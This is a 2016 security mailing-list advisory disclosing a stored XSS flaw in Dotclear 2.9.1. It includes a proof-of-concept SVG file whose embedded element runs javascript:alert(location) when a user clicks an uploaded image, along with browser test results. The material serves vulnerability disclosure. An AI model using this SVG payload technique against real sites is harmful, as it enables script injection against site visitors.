Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Wed, 4 May 2016 06:46:11 +0000
From: limingxing <>
To: "" <>
Subject: Dotclear 2.9.1 XSS vulnerability by SVG

We find an vulnerability about Dotclear 2.9.1 XSS vulnerability by SVG


Attackers can upload a special SVG picture, for example, add the origin SVG picture with
<foreignObject width="100" height="50"
 <embed xmlns=""
src="javascript:alert(location)" />
After upload the special SVG, attackers can publish an article with this picture with the herf link to this picture. If someone click the picture, it will jump to the url of the picture, and this will cause XSS.
Test on Firefox 45.0.2 (20160407164938)with two alerts.
Test on Chrome 50.0.2661.94m and IE 10.0.10240.16766 with only one alert (<script>alert (location)</script>)
The picture used for test is
<?xml version="1.0" encoding="iso-8859-1"?>
<!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "">
<svg version="1.1" id="Capa_1" xmlns="" xmlns:xlink="" x="0px" y="0px"
         viewBox="0 0 22 20" style="enable-background:new 0 0 22 20;" xml:space="preserve">
         <path style="fill-rule:evenodd;clip-rule:evenodd;" d="M0,10.014c0,1.985,1.486,3.632,3.438,3.95l0.688,0.055h3.832v-1.993H4.173
         <polygon style="fill-rule:evenodd;clip-rule:evenodd;" points="12,20 12,8.581 16,11 16,9 11,6 6,9 6,11 10,8.581 10,20        "/>
<foreignObject width="100" height="50"
<embed xmlns=""
src="javascript:alert(location)" />

This vulnerability was found by chenruiqi of Qihoo 360 Codesafe Team

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.